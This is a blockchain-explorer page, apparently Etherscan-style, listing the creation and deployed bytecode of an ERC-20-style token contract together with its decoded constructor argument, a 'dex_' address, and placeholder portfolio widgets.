004016108f893929190610e0f565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361098d578060035f82825403925050819055506109d7565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a349190610bfc565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610a78578082015181840152602081019050610a5d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610a9d82610a41565b610aa78185610a4b565b9350610ab7818560208601610a5b565b610ac081610a83565b840191505092915050565b5f6020820190508181035f830152610ae38184610a93565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b1882610aef565b9050919050565b610b2881610b0e565b8114610b32575f80fd5b50565b5f81359050610b4381610b1f565b92915050565b5f819050919050565b610b5b81610b49565b8114610b65575f80fd5b50565b5f81359050610b7681610b52565b92915050565b5f8060408385031215610b9257610b91610aeb565b5b5f610b9f85828601610b35565b9250506020610bb085828601610b68565b9150509250929050565b5f8115159050919050565b610bce81610bba565b82525050565b5f602082019050610be75f830184610bc5565b92915050565b610bf681610b49565b82525050565b5f602082019050610c0f5f830184610bed565b92915050565b5f805f60608486031215610c2c57610c2b610aeb565b5b5f610c3986828701610b35565b9350506020610c4a86828701610b35565b9250506040610c5b86828701610b68565b9150509250925092565b5f60ff82169050919050565b610c7a81610c65565b82525050565b5f602082019050610c935f830184610c71565b92915050565b5f60208284031215610cae57610cad610aeb565b5b5f610cbb84828501610b35565b91505092915050565b5f8060408385031215610cda57610cd9610aeb565b5b5f610ce785828601610b35565b9250506020610cf885828601610b35565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d4657607f821691505b602082108103610d5957610d58610d02565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610d9682610b49565b9150610da183610b49565b9250828203905081811115610db957610db8610d5f565b5b92915050565b5f610dc982610b49565b9150610dd483610b49565b9250828202610de281610b49565b91508282048414831517610df957610df8610d5f565b5b5092915050565b610e0981610b0e565b82525050565b5f606082019050610e225f830186610e00565b610e2f6020830185610bed565b610e3c6040830184610bed565b949350505050565b5f602082019050610e575f830184610e00565b92915050565b5f610e6782610b49565b9150610e7283610b49565b9250828201905080821115610e8a57610e89610d5f565b5b9291505056fea2646970667358221220451fcff91cd142e1041868815974ef5ef56effef6de41f66be6ff796c8a2020064736f6c63430008160033000000000000000000000000236b355408d21ddfec007f6d2a62b90ccb7a4740
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f80fd5b61009d6101fd565b6040516100aa9190610acb565b60405180910390f35b6100cd60048036038101906100c89190610b7c565b61028d565b6040516100da9190610bd4565b60405180910390f35b6100eb6102af565b6040516100f89190610bfc565b60405180910390f35b61011b60048036038101906101169190610c15565b6102b8565b6040516101289190610bd4565b60405180910390f35b61013961033c565b6040516101469190610c80565b60405180910390f35b61016960048036038101906101649190610c99565b610344565b6040516101769190610bfc565b60405180910390f35b610187610389565b6040516101949190610acb565b60405180910390f35b6101b760048036038101906101b29190610b7c565b610419565b6040516101c49190610bd4565b60405180910390f35b6101e760048036038101906101e29190610cc4565b61043b565b6040516101f49190610bfc565b60405180910390f35b60606004805461020c90610d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461023890610d2f565b80156102835780601f1061025a57610100808354040283529160200191610283565b820191905f5260205f20905b81548152906001019060200180831161026657829003601f168201915b5050505050905090565b5f806102976104bd565b90506102a48185856104c4565b600191505092915050565b5f600354905090565b5f806102c26104bd565b9050610325858260025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f015460016103159190610d8c565b866103209190610dbf565b6104d6565b610330858585610569565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606005805461039890610d2f565b80601f01602080910402602001604051908101604052809291908181526020018280546103c490610d2f565b801561040f5780601f106103e65761010080835404028352916020019161040f565b820191905f5260205f20905b8154815290600101906020018083116103f257829003601f168201915b5050505050905090565b5f806104236104bd565b9050610430818585610569565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b6104d18383836001610659565b505050565b5f6104e1848461043b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156105635781811015610554578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161054b93929190610e0f565b60405180910390fd5b61056284848484035f610659565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036105d9575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016105d09190610e44565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610649575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016106409190610e44565b60405180910390fd5b610654838383610828565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036106c9575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016106c09190610e44565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610739575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016107309190610e44565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610822578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108199190610bfc565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610878578060035f82825461086c9190610e5d565b92505081905550610946565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610901578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016108f893929190610e0f565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361098d578060035f82825403925050819055506109d7565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a349190610bfc565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610a78578082015181840152602081019050610a5d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610a9d82610a41565b610aa78185610a4b565b9350610ab7818560208601610a5b565b610ac081610a83565b840191505092915050565b5f6020820190508181035f830152610ae38184610a93565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b1882610aef565b9050919050565b610b2881610b0e565b8114610b32575f80fd5b50565b5f81359050610b4381610b1f565b92915050565b5f819050919050565b610b5b81610b49565b8114610b65575f80fd5b50565b5f81359050610b7681610b52565b92915050565b5f8060408385031215610b9257610b91610aeb565b5b5f610b9f85828601610b35565b9250506020610bb085828601610b68565b9150509250929050565b5f8115159050919050565b610bce81610bba565b82525050565b5f602082019050610be75f830184610bc5565b92915050565b610bf681610b49565b82525050565b5f602082019050610c0f5f830184610bed565b92915050565b5f805f60608486031215610c2c57610c2b610aeb565b5b5f610c3986828701610b35565b9350506020610c4a86828701610b35565b9250506040610c5b86828701610b68565b9150509250925092565b5f60ff82169050919050565b610c7a81610c65565b82525050565b5f602082019050610c935f830184610c71565b92915050565b5f60208284031215610cae57610cad610aeb565b5b5f610cbb84828501610b35565b91505092915050565b5f8060408385031215610cda57610cd9610aeb565b5b5f610ce785828601610b35565b9250506020610cf885828601610b35565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d4657607f821691505b602082108103610d5957610d58610d02565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610d9682610b49565b9150610da183610b49565b9250828203905081811115610db957610db8610d5f565b5b92915050565b5f610dc982610b49565b9150610dd483610b49565b9250828202610de281610b49565b91508282048414831517610df957610df8610d5f565b5b5092915050565b610e0981610b0e565b82525050565b5f606082019050610e225f830186610e00565b610e2f6020830185610bed565b610e3c6040830184610bed565b949350505050565b5f602082019050610e575f830184610e00565b92915050565b5f610e6782610b49565b9150610e7283610b49565b9250828201905080821115610e8a57610e89610d5f565b5b9291505056fea2646970667358221220451fcff91cd142e1041868815974ef5ef56effef6de41f66be6ff796c8a2020064736f6c63430008160033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000236b355408d21ddfec007f6d2a62b90ccb7a4740
-----Decoded View---------------
Arg [0] : dex_ (address): 0x236B355408d21ddFeC007F6D2A62B90Ccb7a4740
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000236b355408d21ddfec007f6d2a62b90ccb7a4740
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.